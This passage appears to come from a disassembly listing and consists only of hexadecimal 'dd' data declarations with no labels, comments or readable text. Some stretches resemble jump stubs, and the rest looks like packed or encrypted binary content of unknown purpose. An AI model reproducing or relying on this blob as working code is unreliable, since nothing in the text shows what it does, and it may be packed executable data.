50D4CD5h, 0AF65AD95h, 4C942A15h, 0ECD4050Dh, 46183A3Ch dd 4CEB53ACh, 9BAB050Dh, 0D4C2698h, 0C35E6605h, 0CB8BEE2h dd 0C390F65Ch, 18D12E09h, 51610F34h, 0CFAD9309h, 1D42A6CCh dd 0B1D77D2Dh, 0F3D32EE4h, 0E3A30E6Bh, 0DC047F5Fh, 7DDC760Ch dd 93903064h, 935EC39h, 25FF959Dh, 32E73FD7h, 12B27CADh dd 1E66320Fh, 0CC4FA584h, 0F1B5A3F5h, 47074FC9h, 381E99FAh dd 0C132E452h, 503B37Dh, 85CDF53Dh, 1131178Ch, 6E0F0509h dd 0D6Dh, 0DE266245h, 177F2103h, 0A4CC9AFAh, 0FC0448A9h dd 8500461h, 15766DE9h, 0CF2A274Fh, 829C7199h, 71518CD4h dd 0A84CC32Bh, 13FF74Fh, 552FB703h, 791341A2h, 67D187E0h dd 0E16C0CE9h, 1058E1E7h, 0EDC51870h, 451FEDA7h, 38A03C79h dd 2D87CF9Fh, 91F37F95h, 72CD87CFh, 0F34C13Dh, 0E863D5DDh dd 30AC152h, 0D5431573h, 3D3B6D44h, 5C614BAFh, 0D940B4A8h dd 0B5E1757Ah, 0ED51A244h, 0AD030B35h, 74D79B85h, 0DE89615Ah dd 0A4310Eh, 0A2370000h, 0B9EFCB44h, 391A8771h, 0D62BED6Bh dd 7DFEAEF4h, 50DC7B4h, 3F470D65h, 989EC422h, 0D385E37Eh dd 0AACB1933h, 0AF3F19F0h, 0F39DB104h, 64246C9Fh, 0CE2504DEh dd 38E89C9Ah, 343ADA3Bh, 325A6A0Fh, 0E3B9FAE8h, 3596CB10h dd 613B0B09h, 74CA35CFh, 340503F5h, 0E4C15C0Ch, 58B5A8B0h dd 6B98150Ch, 9E940911h, 0C74FFh, 3D6B4200h, 76D838D5h dd 0C395F36Eh, 1B41A6BBh, 573D1EF3h, 6F74EE0Fh, 233E4612h dd 954890C0h, 4E83EBB9h, 45DA2268h, 3EEE50A3h, 26AE0301h dd 1341A24Ch, 6A3016CBh, 44A2A802h, 59B9181Eh, 1676EBF3h dd 7F08A40h, 50DCBBFh, 1117B7FFh, 26FCA280h, 0DB2F56D8h dd 13B3987Ch, 3D56ADFBh, 6BD48ED7h, 0F34532Ah, 84071DFCh dd 12B2FAACh, 6133466Eh, 7EF8AE88h, 24959636h, 3278B438h dd 6AD58FD4h, 0FEB90E5Dh, 52E457EDh, 12F28776h, 0AA7CFA22h dd 8B2DE7BCh, 5C0C52B6h, 0B9F161DFh, 3FD5DDF8h, 0C49EC422h dd 0C4DA4D76h, 25166AABh, 0F48D5B91h, 0E9B9E1D1h, 40166CE1h dd 9F18E6C9h, 0D5A8AE17h, 0BADh, 1E662205h, 57BFE1C3h dd 0E40C5ABAh, 3C440869h, 4890C421h, 0D536ADA9h, 8FEA678Fh dd 425CB1D9h, 3111CC14h, 0E88C036Bh, 13DB70Fh, 956FF703h dd 181E44A2h, 411B588Eh, 349969F6h, 0A6BB190Fh, 6D191F45h dd 0AF948EEh, 0F0380803h, 0C4DF32E8h, 85EF494h, 111FB16Bh dd 0A59E8307h, 25999AF2h, 65030A9Ch, 0BDE3C05Dh, 815B0BBBh dd 33BF45B6h, 0BBBD8509h, 0DBC7AC0h, 0D6DE3205h, 0DAE21473h dd 6D9BAFh, 0E5590000h, 0E07D2B04h, 2C58DE80h, 0E3B0D67Ch dd 5ABA9729h, 6E32110Ch, 0FECBCE8h, 0F34BDE7h, 57A57F47h dd 0BAEB3D26h, 33C99963h, 3B04FCDEh, 30ACC83h, 9EC426C3h dd 7CA4EC98h, 0CC5DE714h, 313F030Ah, 0C631F6A0h, 30A9F70h dd 8C1E0030h, 0A17B7B3h, 0DA51B32Ch, 3C64ACFAh, 0E5DD39D4h dd 0AFBA41Ah, 94DCE403h, 0ABBCBA2h, 95710000h, 936C267Fh dd 0F3ED643h, 70C983B3h, 29244C12h, 439583C9h dd 39E84EA9h, 98A80301h, 5F0442C8h, 0EE49E385h, 3013948h dd 0C8253808h, 406FCC9Ch, 0FC09322Bh, 23031EB4h, 9AF8157Dh dd 0E2E042B4h, 0AF411BB1h, 0DCBEA4Ch, 949AAA05h, 5F10485Dh dd 0C320E0E2h, 0F34C822h, 52ABA292h, 60318A9h, 0A536D00h dd 4CA30000h, 3B19F41Ch, 0F4D00D55h, 0AE875AA2h, 627F92FAh dd 530F2E36h, 0D9217750h, 137B2D04h, 0AEB69CFEh, 0E50D53B3h dd 9AD8E2Ah, 49030133h, 4E563D9h, 4FAC7C2Ah, 50DCBF3h dd 1CB6EFE5h, 0DD8BE77Ah, 0F87B2B5Bh, 0F3ED9C9h, 0BA974D75h dd 73EEF65Ch, 79CB4D13h, 0A7904A6Bh, 9386B36h, 28E77E46h dd 0C40913E9h, 9E72F4Eh, 0F8CF0000h, 0AF8558A0h, 607C91F9h dd 0D2332E36h, 8EEB668Eh, 0E763B2DAh, 0ADB5E3FCh, 0E70F51B0h dd 325A086Ah, 4991C7DFh, 7DC132D6h, 3D030133h, 44A2DF55h dd 70FE181Eh, 23BBBDE6h, 0ED701080h, 3415CF95h, 0B1938ED8h dd 6D3D69EFh, 652B0E8Bh, 5A0066F3h, 7F7551DCh, 0BE1F13Ah dd 0DB033F04h, 479C6AFh, 0E5020000h, 0CB4EF043h, 0F30E050Dh dd 1B4BCD93h, 0CB1933D3h, 3C07F0AAh, 780F3ED9h, 0A7BF9248h dd 1E74E9F1h, 0ED4DCE48h, 0FB030139h, 2112C8EDh, 9386BB4h dd 66320FE2h, 130A3AA6h, 913E9BEh, 3EE9847Ah, 0B4000009h dd 72EFF751h, 25384016h, 98759DCBh, 508DD5BBh, 38D92177h dd 1C48A53Eh, 563A19F4h, 0A1F7D30Eh, 0F8AE8459h, 9A653F90h dd 3013224h, 0A206FC64h, 0F6441E44h, 2D080281h, 0E04606BDh dd 0CD4B1171h, 0DD74789Ah, 0D934627Ch, 1FF595FBh, 0AFDB2138h dd 3DEFFh, 0FEBC0500h, 0E8050DCBh, 10E3B9FAh, 0F3ED6E3h dd 17A96353h, 1399224h, 28E2D203h, 13977CFh, 5F0F3703h dd 184EA485h, 5F051DF0h, 5C194FD9h, 749AB86h, 0EFB55511h dd 0FE40B355h, 0BE030139h, 39A31BE4h, 0D3E30301h, 0EF78FBABh dd 9F09386Bh, 0E965BE97h, 292F0913h, 88C54h, 45036A00h dd 9EC0203Dh, 0EBBD9B76h, 23694E83h, 7F2506DBh, 178CC617h dd 0CB066E3Ah, 0BD50B8E8h, 76EBF3A1h, 6D224A10h, 32D668CBh dd 0E960301h, 0A943E5B4h, 0DCBE84Eh, 9B98A805h, 50DCB23h dd 0F0A68663h, 46064E06h, 43B59BFBh, 0F0AAF0D6h, 78FB3F19h dd 50DCBC6h, 0D676BE86h, 0E9C31750h, 0DA672166h, 280BADAFh dd 0FAF23396h, 213EEED6h, 30Fh, 0CBFEBC27h, 0FAE8050Dh dd 0CB76C82Bh, 7944050Dh, 3D6E2C7Bh, 14979F5h, 0CC92F64Bh dd 3F5461Ch, 0E10F3EACh, 0C290F24Fh, 9B231054h, 0DB030143h dd 7F473BEBh, 386E44A5h, 7F253DD0h, 0E9D15FF9h, 0C1D0BC8Eh dd 20167C5Ah, 0A66C3C64h, 8759F3A0h, 1AC04CAAh, 0CB088F81h dd 0FC7F2F57h, 938172Fh, 7FAEA78Fh, 250913D2h, 7AB4E2Fh dd 240B0000h, 0E3C11C64h, 5CB855BDh, 166FE20Ah, 0CA273A42h dd 0ABA7769Eh, 6189DF38h, 0BBC395ECh, 0F61E44A6h, 0D553B1Bh dd 0B105F692h, 0F1030131h, 44A28B61h, 0BCF6441Eh, 372EB12Eh dd 0E21D6DF7h, 201517Ch, 1D75E442h, 0A6BC9D37h, 9E4E06F0h dd 89DF3998h, 6137128Fh, 7E766CF7h, 330E2239h, 85C181D7h dd 11475F2Fh, 532463C9h, 7EBAFDBh, 69000000h, 22A5Eh, 0C4BCDA00h dd 0EE050DCBh, 16E1BBF8h, 0F3ED6D9h, 0EE431929h, 148E0488h dd 0CD9B9663h, 61CF85h, 67C5A5D1h, 3C96FEAEh, 5897C1CEh dd 137824B5h, 0AFD25C3Dh, 914B4A6h, 53F56329h, 10AA6035h dd 14F9F27h, 2502DF03h, 85CDF97Fh, 6F3C3FC5h, 0CF093861h dd 8C96EE7h, 0F56B0914h, 6D498h, 9DCB2200h, 0D6B89875h dd 2375538Eh, 7B2106DBh, 0B79DFE13h, 0CFD48EAFh, 835EA6F2h dd 75E8F0A0h, 2E234B19h, 0A57A82C8h, 308E3003h, 46CE0301h dd 0D517E5ECh, 0B0F95C4Bh, 0EF57A07Ah, 0AF050D9Eh, 1C7AC787h dd 3B16C036h, 67D08ADEh, 50D9EDFh, 6AF7979Fh, 41D0460Ch dd 4D3B3D63h, 0A9E05B1Dh, 0AE879A94h, 0A6E7CFAh, 0A4EAC8A2h dd 51CAF2B2h, 0E293B1BFh, 0B9B6966Ah, 3007EDE9h, 9C55F9D9h dd 476C514Ah, 1D49CFF7h, 0CC92F04Dh, 77D93B16h, 6ED5BFD7h dd 35AFDB59h, 7, 1295E33h, 0BCDA0000h, 50DCBC5h, 0E6BCF9EFh dd 720FE4Ch, 0EDD066D1h, 0A090050Dh, 293736BEh, 0EB34FA79h dd 2AD40F3Eh, 50980901h, 0DC70FB4h, 0D936886Bh, 4E760301h dd 0D65C49Eh, 25BF8D47h, 0D208DC46h, 0E27F9737h, 78280B84h dd 7A1CC630h, 1A445F9h, 6D3D0503h, 5EF4A1A7h, 388A4CDDh dd 4DC4EC09h, 9145FB0h, 0CA97F66Ch, 28000005h, 0E67B83C5h dd 59B4DC82h, 0CC1297Fh, 0C4196137h, 8455BDEBh, 0A8FCD9CAh dd 0E2B68D40h, 3D6B479Ah, 74DA38D5h, 2611B36Ch, 3013790h dd 0A2EA40D0h, 0B9181E44h, 0D3C03559h, 92902611h, 0E0D0050Dh dd 0C0C9937Eh, 0CF28C298h, 50DDB77h, 0D95F0F37h, 0B990647Eh dd 1B1D43A0h, 40A6BB6Bh, 0C158F21Ah, 580C69E0h, 0BE6E2610h dd 0DA7B6FD4h, 1836AFh, 2C120000h, 84BBE9E6h, 2611CBA8h dd 50DC490h, 0BA20E0D0h, 365Eh, 44A2DA00h, 59B9181Eh, 0DEB805F3h dd 4EA943D6h, 50DCBE8h, 860C13DAh, 0C9A5F58Ah, 0FED429F9h dd 5285393Ah, 0FDC5050Dh, 24021FB5h, 1CCCF87Eh, 15E5F4h dd 0A21F0000h, 0B9EFCB44h, 0B7048771h, 0ED050DCBh, 774F1F95h dd 0E563D921h, 0C4204D17h, 47078528h, 40B69CFAh, 166E0E6h dd 0BBE1C65Bh, 3907D973h, 0FDF47101h, 9596369Ch, 0F3EEA49h dd 7ED389B9h, 0DE8AE718h, 75D44E96h, 0A29D371Dh, 301051Ch dd 0A9B4545Ch, 0B3150349h, 0E94A0055h, 93217C2h, 0BD9C367Eh dd 3D97FFA5h, 0F726989Bh, 5E66050Dh, 0D53B38Eh, 1470C90Bh dd 5A888242h, 8BEE4319h, 731353C5h, 0D5B14EA9h, 0CA270F34h dd 0F6BEB8EEh, 839AAA56h, 3188C80h, 6ECFAEA4h, 44000004h dd 2DF2761h, 0F5687026h, 0A8A5CD9Bh, 60FD054Bh, 0E8095107h dd 4C18756Eh, 86CA2924h, 0D187E37Eh, 287E5489h, 4AB54FC0h dd 30136F4h, 0A2562CB4h, 1BF61E44h, 0F0A6803Bh, 10064E06h dd 6BD32CC6h, 2B050DCBh, 90F64B1Bh, 8FCB4CCAh, 177D5525h dd 0D2849C7Dh, 1370DA32h, 9AAFDA6Bh, 5Bh, 0E35BA47Eh, 0A3FAF23Fh dd 9509F393h, 9E6C267Fh, 673E58Ah, 0F78D5D2Dh, 342CE204h dd 0D872420Fh, 4DC82B06h, 27E72F75h, 42AAF8DAh, 0A172F91h dd 662C0A03h, 0B1E7C31Eh, 7F05151Bh, 61D7B99Bh, 2F573B25h dd 93EA4C1Ch, 3C1h, 0FC752309h, 8177213Fh, 31B45BC5h, 9571EBBBh dd 936C267Fh, 0F34C92Eh, 41D0466Eh, 9B613B61h, 5C4577CCh dd 0E25DF7C4h, 30A2B5Ch, 0F274141Ch, 0A2654F4Bh, 0DA25FFA4h dd 9332961h, 53C91121h, 14B49AFEh, 0D18B283Eh, 54C0223Fh dd 4732303Bh, 34D41C7Bh, 34938A37h, 8F68CA0Fh, 30A9337h dd 0F67D8977h, 0D8B68710h, 34EE6890h, 0B611D3C6h, 1ACADC85h dd 0F87E2A07h, 0E3C228EAh, 8959468Fh, 0BA3256F6h, 0EEA4F117h dd 0C26A5B00h, 7AC503FCh, 30A08C4h, 0D474BC84h, 0A486740Eh dd 0CA010916h, 0B4FCAC87h, 6FAA1714h, 0DAEA0933h, 83475FB2h dd 0D43621BDh, 0F764DBEBh, 50D0A4Fh, 25FF270Fh, 0BEB8EEC4h dd 41D056F6h, 9D33B61h, 2EC09ADBh, 0E2A2F6D3h, 3459B801h dd 790EF80Fh, 7F7500DDh, 1EECA6EEh, 57194664h, 0EE481885h dd 50EEC634h, 0B68D9987h, 40A51516h, 0E9ED030Ah, 0F2371C03h dd 42FEB5E1h, 7A000000h, 9DE07F95h, 0C6E00FBh, 4F7ADD5h dd 0F347043h, 803601A3h dd 0C0030A70h, 2C12C8F0h, 0A4175182h, 7DFBAB33h, 803601DBh dd 0C0030A5Ch, 6FD350F0h, 27030A5Ch, 146C923h, 88B5E202h dd 0C9h, 1E44A24Ch, 763FE18h, 53ACB151h, 0B2AFF1D0h, 51C70F55h dd 0BABCE2C0h, 0F1A78198h, 75F6CC51h, 86CE481Ch, 0BD9C365Eh dd 0D152F2A6h, 50DC760h, 0E30B51B1h, 0A2F4D029h, 51071FE2h dd 5E074DE7h, 0EB8ABB84h, 0A3A0F34h, 0FB0A58E2h, 0AE9C678h dd 76BE8603h, 353663DCh, 9E00935h, 0B1F56329h, 64D76D11h dd 5035DD2h, 0A07AA292h, 83D5330Eh, 371D7EC3h, 56D1322Fh dd 6FE62E74h, 91113E6h, 0F2411C12h, 0C0000001h, 0BE53BBEDh dd 71ECF45Ah, 24394117h, 9C7199CFh, 6C8DD583h, 0C094F1F2h dd 1A4EA5B8h, 55031FF2h, 0ACF2D00Dh, 0CE29CB44h, 300CB68h dd 0E5C2B828h, 0D9995017h, 53F3E340h, 5FA7EDCEh, 96FEA482h dd 267F951Ch, 0C1DA936Ch, 3D1C0F34h, 0AC12ED25h, 0EC030AC1h dd 10CC9CC4h, 0DEC3620h, 0D53B033h, 73135B0Bh, 0AC14AF0h dd 460A6B03h, 316741D0h, 624AA0C7h, 0ACAEE59Bh, 97DF8B80h dd 12F5FFD3h, 0B5E23435h, 191DB3B9h, 4E9125E4h, 1D13AB94h dd 6353030Ah, 0B65CA3h, 0A2980000h, 0B9181E44h, 0FF52085Ch dd 1412B2E6h, 46126FC2h, 44F8D1D8h, 58086D57h, 0DF46EDBh dd 0F1A7BF05h, 481E74E9h, 356E64CEh, 0A64C59Fh, 9EAF8C5Ch dd 2E0F34D8h, 6BFE4C06h, 48A62EB4h, 5BE1E9B9h, 41B2680Dh dd 9353EF7h, 0FEA88465h, 0C882B22Eh, 38401471h, 859CC825h dd 9111396h, 0F2FD9096h, 0C0000000h, 0BE53BBEDh, 71ECF45Ah dd 24394117h, 9C7199CFh, 6C8DD583h, 0C094F1F2h, 1A4EA5B8h dd 55031FF2h, 0ACF2D00Dh, 0CE29CB44h, 300CA68h, 0E5C2B828h dd 0CD454417h, 5E0ECC35h, 0F67E6C3h, 76E0B68Ch, 14CEF63Eh dd 8E88DC35h, 13CE06C6h, 0AF056D33h, 181E44A2h, 0EBF359B9h dd 0A9870341h, 54D79FFh, 2013B54Fh, 50DCB9Eh, 0A510DCACh dd 0FC1453h, 4B939030h, 8B0F3E8Eh, 6168CE29h, 6A490301h dd 327A4A26h, 35B79298h, 302E5A4Ah, 895981D7h, 8ED432AFh dd 0C58BEB66h, 348A750Fh, 74030179h, 0A7A6C24Ch, 37D9085Fh dd 0B91E9197h, 0B435A3D9h, 2200DAD2h, 99F9147Ch, 88BF0575h dd 0ACD40E7Bh, 82D62FAAh, 4D1371C8h, 22684ECBh, 590F67FAh dd 0F9C1AF89h, 553B1BF3h, 6AF2D00Dh, 0CE2AAE64h, 68D69E98h dd 5F876FB8h, 384D9h, 793C0000h, 1D4BA2FFh, 0F258BE1Bh dd 0EBB99504h, 0C395EC6Dh, 0BDEBC455h, 97FDDEBBh, 8DD330A1h dd 782E0E8Bh, 5F0163FEh, 895732D9h, 4C781E7h, 83000000h dd 3C8704EFh, 24895C24h, 24048324h, 0E0895004h, 405h, 4E88300h dd 5C240487h, 52243489h, 0C281E289h, 4, 8704EA83h, 895C2414h dd 63682404h, 8900003Fh, 6FBA2414h, 89060CF3h, 8B545AD6h dd 0C4812404h, 4, 8BA52h, 0EA810000h, 5EDD4815h, 0C281C201h dd 5EDD4815h, 0FF5A3289h, 81582434h, 4C4h, 2434FF00h, 4C4835Eh dd 0FA7A7DE9h, 0CF98F0FFh, 0B8F1D87Ah, 60D0279h, 0E0FFC503h dd 5BC458B8h, 26468FEEh, 0D385D1Eh, 6C5F5685h, 25192B83h dd 6E4FED0Fh, 2BBD6F69h, 766A4397h, 17DE9h, 0FE5D6000h dd 0C2016C4Fh, 0CAD1D76Fh, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh dd 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh dd 9EB9FC9Ch, 0C945D200h, 0EE73AFh, 0BA9755FCh, 0E56D599Ch dd 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh dd 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh, 43h dup(0) dd 0D1F80000h, 0DA43736h, 41FFD3C2h, 45E94F77h, 6800000Fh dd 60D06A7h, 0FB3F6EE9h, 76168FFh, 64E9060Dh, 68FFFB3Fh dd 60D0914h, 0FB3F5AE9h, 9D268FFh, 50E9060Dh, 68FFFB3Fh dd 60D0AECh, 0FB3F46E9h, 0BE468FFh, 3CE9060Dh, 68FFFB3Fh dd 60D0C8Ah, 0FB3F32E9h, 0D1268FFh, 28E9060Dh, 68FFFB3Fh dd 60D0E04h, 0FB3F1EE9h, 0E8368FFh, 14E9060Dh, 68FFFB3Fh dd 60D0F3Bh, 0FB3F0AE9h, 0FF368FFh, 0E9060Dh, 68FFFB3Fh dd 60D10AFh, 0FB3EF6E9h, 11D868FFh, 0ECE9060Dh, 68FFFB3Eh dd 60D1283h, 0FB3EE2E9h, 63D995FFh, 0FD797EDAh, 1C98D838h dd 0BC38B99Bh, 0E25E19FBh, 0E0837B5Dh, 46D26BE7h, 2A368F07h dd 859728ACh, 0DAE84DCBh, 0B9EB9246h, 0B8956C2Ah, 0F3A3DD18h dd 29735081h, 34827DE2h, 8AB605A8h, 0CCD35EBCh, 0B72DAF29h dd 0E769060Eh, 4E3E17Bh, 0FE48CB4Fh, 0FC60FA7Dh, 682E45CAh dd 1FFB4BB6h, 6C20236Ah, 257D30A7h, 0C73AB237h, 3BFE844Dh dd 54C17Ah, 0DF3D0000h, 85037D98h, 0C43FBC0Ah, 3438C918h dd 895E03A6h, 9E9FE004h, 1953875Bh, 5682E31h, 3383797Bh dd 9D1894D1h, 38DCB822h, 6C204571h, 0F0746D0Fh, 0C0448275h dd 6C2045BDh, 5FEF6F6Ah, 0B50187FDh, 0F7486BE2h, 2BE5880Fh dd 7A3C54EAh, 0D0BBh, 0A3DD9900h, 38BB9925h, 926EF2BCh dd 27BC3F4Eh, 23D6416Ah, 0DB937B1h, 6ED74D0Fh, 27B777F4h dd 3ADEBA6Ah, 6A27B873h, 6DEF120Dh, 59BE2373h, 2F651024h dd 0EB8836AEh, 0C848ED68h, 0B2A4128Eh, 69DDABDh, 27E4ABD2h dd 0EF6AD56Ah, 0F86AEE6Ch, 94682EB8h, 5F1014A9h, 0C540C4BCh dd 1B2A8155h, 9A706E27h, 297C3746h, 53CE496Ah, 0A35E73CFh dd 163F01AAh, 64168ECh, 3C3F6A29h, 37F1041h, 0E4FC34E5h dd 48C48711h, 0EE6A65F7h, 5E19EC22h, 0C7994181h, 0CA5h dd 3D827A7Ah, 9B1C98DFh, 0FA4339B9h, 5AE35B1Eh, 0BC01FDFEh dd 44724D8h, 0A8253788h, 0CB898B2Ch, 6E68E84Dh, 0E17D4DF2h dd 2ABA4C7Dh, 77D5326Ch, 9126A2DDh, 0F24BC183h, 3438C926h dd 0C238B2A6h, 69F3682Eh, 0A340EE6Ah, 5CEA5558h, 20B6B5F8h dd 0DC9F786Ch, 3B65E322h, 0A7A27Ah, 35580000h, 0C24CC906h dd 6BB5488Ah, 0A44A3DDh, 0A1A3138Eh, 381CAA26h, 6A27B7C3h dd 45FA7670h, 0AF1F95D7h, 0D644C8B9h, 2EE4C002h, 7B9F7B68h dd 6C209332h, 1B2ED14Ch, 0D0A1A718h, 520CCE4Ch, 0BCF23D6h dd 6E274485h, 7E9C7EF9h, 0DC3C817Dh, 3FF527A3h, 80815DE3h dd 0BEB04DAh, 0C0BC0000h, 6261F344h, 87C351E6h, 21A0B005h dd 470010A5h, 0EA6272CBh, 0ED52CE89h, 41F66E6Fh, 0AE1795D3h dd 3B430B2h, 0F2BB5FA3h, 8C6C2ABBh, 0A2DD0183h, 0BC942539h dd 6FEA6A27h, 8FC94BECh, 0F0256AC7h, 0EFEB02A4h, 0CE77F26Dh dd 25A3DD12h, 0CBA0C599h, 0CC6529F1h, 1456C235h, 1D2A5387h dd 0E9546A27h, 56D14B0Fh, 868A67E1h, 73CAC014h, 0EB56682Eh dd 1B55875Bh, 850084FCh, 4DDE072h, 87106C20h, 13FB3AF4h dd 0AF4A7A3Ch, 8E000000h, 0A63438C9h, 0D9DAA7CAh, 2F74F0F7h dd 11527D7Fh, 0CF4A2995h, 8AACAE34h, 0F567682Eh, 2FCC7AFEh dd 5617E1D4h, 109350DEh, 3402E78Ah, 90AEC2E8h, 10A5A16Dh dd 0DD6C203Eh, 1E9EDB01h, 0A928D390h, 921BAE06h, 7F0ED063h dd 77C7453Dh, 28679F4h, 7A3BB2C3h, 0EE99DAEFh, 2CEA7047h dd 0AA1490D0h, 47B936C9h, 9B000000h, 0BE3AB9A3h, 188873F0h dd 6360FA67h, 7E9457E7h, 6A27BC4Fh, 0BC4B72E6h, 0CA356A27h dd 26578B87h, 586A27BCh, 0C48662DDh, 894DCD48h, 682ECF4Bh dd 8E8A3427h, 6C20A0FBh, 0D00EA136h, 7A3B7811h, 754h, 3DA1B400h dd 0FF000008h, 0A63438C9h, 24B7ACB2h, 5620768h, 0B574137Dh dd 66F2C538h, 0EE6CEF67h, 64F6726Ch, 0CF7FF7F6h, 414C92Ch dd 0F660CE4Ah, 0FEB77F9h, 0A41296CDh, 3A63CC7h, 5D6E29B0h dd 9C78E2h, 27B6ADDCh, 9D60D36Ah, 72CB4103h, 0DE68E4E6h dd 0E4936F02h, 5BFDC789h, 0CD4F20A0h, 57CD8F4Dh, 588A4EACh dd 34682E0Eh, 39231FC9h, 0AA508757h, 0A38D4h, 178DC900h dd 0B135B2AEh, 0D0540C0Ch, 70F4ED6Fh, 96124DCFh, 0D4B7B721h dd 0BAA61F9Bh, 1EFA433Bh, 0F95BDC58h, 0EEBC01FFh, 0B5BFCE12h dd 44C16C2Ah, 0BB96DBC4h, 9C556A27h, 0B27CF8F9h, 3024B631h dd 6824B9FEh, 0C64EF762h, 0A7BB2729h, 6E29BA99h, 4A900AF5h dd 0BD3E880Ch, 38BAA0BAh, 5F19FBBCh, 0E6E379E1h, 0E5539366h dd 4892080Ch, 71F5F20Fh, 50AB26C5h, 0B83BA6BAh, 0EA556824h dd 0DE8EA70h, 0B5AF0654h, 0E2804EB5h, 0D70BD767h, 6C2AD7A6h dd 67E25DD8h, 840042DEh, 0D7ADDE3Ah, 0A400EC2Ah, 2AD709B0h dd 718477ECh, 0E07AFEF3h, 23A5167Ch, 2DFF7AEEh, 159B8FBh dd 7A986614h, 0F000009h, 0F060D54Fh, 52CE77F3h, 33219616h dd 938136B6h, 0F5E354D0h, 0DD591A79h, 1FDF858h, 0A2265CBCh dd 0C7BD3F1Dh, 8CC507Eh, 6C2AB561h, 0C9920E1Fh, 0B2A63438h dd 6824B87Ch, 0DE5A14E0h, 631DFF63h, 86C050E5h, 0B54ABC0Ah dd 0BF01A8ACh, 0FC7F6C2Ah, 0BF9B35D7h, 0DF5A14D6h, 5CD89943h dd 679D4199h, 0B6E2905h, 0E489208h, 0AD2F2D92h, 0E0918737h dd 371AFE5Ch, 49682407h, 0CC8E4CCEh, 736DEF50h, 0D9B549F5h dd 2A017405h, 0A527A36Ch, 0C5F468E2h, 0BB6C2A01h, 583A3DB8h dd 6C2A0115h, 8B1719D6h, 29041557h, 686F096Eh, 26A142ECh dd 0A824A6B4h, 0CD4B0517h, 5C6DF14Dh, 226A2702h, 1D9BD537h dd 453A2CDAh, 27138DCh, 0C0F6A27h, 2BD50991h, 47682406h dd 3FC6AD4h, 0D93D9901h, 6C2A0190h, 12673EEh, 0D4D09714h dd 3591698Ch, 11EF6390h, 8F72E9BEh, 2377210Bh, 522E8A6Eh dd 2D79FF8Eh, 7C96816Ah, 6A2D794Dh, 0A3DC033h, 975DD0Fh dd 0C08E815Ah, 8603Eh, 3FB53100h, 59DD9A86h, 0F87C74E4h dd 189CD547h, 0BE3AB5A7h, 3C5F9FF9h, 0E27EC743h, 46D26BE3h dd 21338400h, 369429A7h, 0B687362Ah, 6CF96C2Ah, 25A3DDACh dd 4339BB99h, 0DB5111F3h, 71EFE96Bh, 0C2F548C5h, 0FCBF567Dh dd 9B1C98DAh, 0E0D6A2C7h, 0DB681D42h, 3DC1AD63h, 0FF26D27h dd 35574C95h, 101974h, 0A0C50000h, 0BE8E892Ah, 4F896CC3h dd 4C3A1h, 0EA3FF00h, 7BD81E9Ch, 20D42F56h, 9799562Ch dd 0BCFDD70Bh, 0A691682Eh, 0E3E27814h, 0CCD9E074h, 0B4A76C20h dd 0CE8F8D39h, 0B220DB56h, 9B25FB45h, 8137DDF0h, 869CD1ADh dd 2BCE2B52h, 6FEA55BFh, 0E1631C94h, 0BB2FE579h, 0D043BD22h dd 59D5904Ah, 1FE68A6h, 0A87FE37Fh, 0CABB294Fh, 0E377D34Fh dd 0BF26A0DAh, 69D5530Dh, 0B854C78Ah, 72F1BD39h, 0EFE9738Fh dd 124CCC71h, 5FF64A96h, 33FB5650h, 768ADh, 0C7BD3900h dd 61E5E27Eh, 80047CDCh, 20A4DD3Fh, 46C2BD9Fh, 467E7F1h dd 0EA76CF4Bh, 4ECA73EBh, 292B8C08h, 3E8C31AFh, 0B78F3E22h dd 14F16C2Ah, 25A3DDB4h, 0AE26A7B5h, 0BC81282Ch, 7CFF6A27h dd 8CCF4DF9h, 0C8B9AF10h, 1A02D644h, 666824B9h, 0FBF567FBh dd 1E58B87Dh, 4D2214A2h, 0E943731Dh, 233D2B6Dh, 0DF9C2AA2h dd 0D81AFE5Ch, 0B46E299Fh, 0A4E5BE9Fh, 9C1FF763h, 26A2DC3Eh dd 0FD61FD91h, 6A2767CCh, 2FA726B2h, 8DCF49ACh, 14518B17h dd 8003F9F9h, 8442B536h, 9F49C586h, 81501ECBh, 0C26CF2B8h dd 57000006h, 38189D17h, 9A863FBBh, 7BD95EDEh, 0DB39FE7Eh dd 3D9B1C98h dd 0A521A2C1h, 0C9450010h, 6AEEE474h, 8F0547D5h, 50849836h dd 6C2AB029h, 0C95AF657h, 0B2A63438h, 6824B880h, 0DE971ECh dd 0ED108CCFh, 70E47173h, 6C2ABF49h, 0F449C437h, 0CC8F6A64h dd 1FEE5986h, 1E9974D5h, 0CA50D390h, 0F2C3EA6Eh, 42BD6C2Ah dd 69F38FBFh, 50D48D68h, 778A05E6h, 9E7C00F1h, 23F4E07Ah dd 9741BC6Eh, 815992DDh, 3A6AF4BAh, 0CF000006h, 0B0A0158Fh dd 120EB733h, 0F361D656h, 53C176F6h, 0B5239410h, 1D99DAB9h dd 413DB898h, 0E2661CFCh, 7FDFF5Dh, 0C80C10BEh, 6C2AB1A1h dd 0DDD24EDFh, 0BB9925A3h, 3DDF4339h, 8054C642h, 6A27BCF9h dd 0A5619487h, 0E6387B12h, 0D34909E4h, 0BCE28B4Fh, 0A19C6A27h dd 5A9B9126h, 2B743460h, 7, 2AAA1E9h, 0DDFF0000h, 0A7B525A3h dd 5D1EA824h, 5FA6C9Ah, 68EB6362h, 0B7D46EF2h, 0BDB86824h dd 0C7BD3FDDh, 0CC01F477h, 2896124Ch, 0AD2DA92Ah, 0D8E175D1h dd 0A66C2AB8h, 0B82E5FBBh, 84506C2Ah, 35C84BCFh, 0E67B74F0h dd 2AB84B72h, 4FCA356Ch, 0FAA0BED3h, 0EFB03304h, 3362F614h dd 5D6E29A9h, 0E0E278E2h, 0E5947FB2h, 0F4771CBBh, 7FFBF466h dd 97D14384h, 2CAFAD19h, 5F1006B0h, 53997DDDh, 2F682E5Bh dd 0C47AE02Ch, 8B338756h, 548F5h, 279DD900h, 41C5829Eh dd 0E0641CFCh, 84FD5Fh, 0A6225DBFh, 24478711h, 8A962FABh dd 6EEA53CBh, 0C94BEC68h, 1EAC118Fh, 0B2AFDE02h, 74D16C2Ah dd 25A3DDD4h, 7405D9B5h, 0A6A27BCh, 75F3ED0Fh, 17D72AC9h dd 426BEF4Bh, 3C6A27BCh, 20A23EC1h, 7815972h, 423D0441h dd 892CA3F4h, 269F1557h, 34D7E322h, 7A274h, 0A1660000h dd 12Bh, 25A3DDFFh, 